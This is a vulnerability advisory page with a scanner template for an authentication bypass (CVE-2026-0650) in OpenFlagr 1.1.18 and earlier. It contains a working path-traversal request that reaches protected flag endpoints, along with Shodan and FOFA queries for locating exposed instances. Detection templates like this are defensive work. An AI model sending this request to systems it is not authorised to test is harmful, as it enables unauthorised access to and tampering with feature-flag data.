OpenFlagr <= 1.1.18 - Authentication Bypass
CVE-2026-0650
Early Release
Description
OpenFlagr <= 1.1.18 contains an authentication bypass caused by improper path normalization handling in HTTP middleware whitelist logic, letting attackers access protected API endpoints without valid credentials, exploit requires crafted requests.
Severity
Critical
CVSS Score
9.3
Exploit Probability
1%
Affected Product
flagr
Published Date
September 6, 2026
Template Author
str4k3r
CVE-2026-0650.yaml
id: CVE-2026-0650
info:
name: OpenFlagr <= 1.1.18 - Authentication Bypass
author: str4k3r
severity: critical
description: |
OpenFlagr <= 1.1.18 contains an authentication bypass caused by improper path normalization handling in HTTP middleware whitelist logic, letting attackers access protected API endpoints without valid credentials, exploit requires crafted requests.
impact: |
Attackers can bypass authentication to modify feature flags and export sensitive data, compromising system integrity and confidentiality.
remediation: |
Update to the latest version beyond 1.1.18.
reference:
- https://github.com/advisories/GHSA-rwp9-5g7q-73q3
- https://github.com/openflagr/flagr/commit/fe83dc87aa404a57554aa5839ac450f55c203570
- https://dreyand.rs/code%20review/golang/2026/01/03/0day-speedrun-openflagr-less-1118-authentication-bypass
- https://nvd.nist.gov/vuln/detail/CVE-2026-0650
classification:
cve-id: CVE-2026-0650
epss-score: 0.00564
epss-percentile: 0.4481
cwe-id: CWE-22
cvss-score: 9.3
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
metadata:
vendor: openflagr
product: flagr
verified: true
max-request: 1
shodan-query: http.html:"Flagr"
fofa-query: body="Flagr"
tags: cve,cve2026,openflagr,authbypass,unauth,traversal
http:
- raw:
- |
GET /api/v1/health/../flags HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"dataRecordsEnabled\"", "\"variants\"", "\"key\"")'
condition: and
# digest: 490a004630440220407880fba5296a89e27bdc7c3de8f261842122a7673985b180ea7711343a34b002205356b3db8af9a76bebc18668c5e7138249f41d487a869d2a75d4afcfcdd79eb4:922c64590222798bb761d5b6d8e729509.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE ID:
cve-2026-0650
CWE ID:
cwe-22
Remediation Steps
Update to the latest version beyond 1.1.18.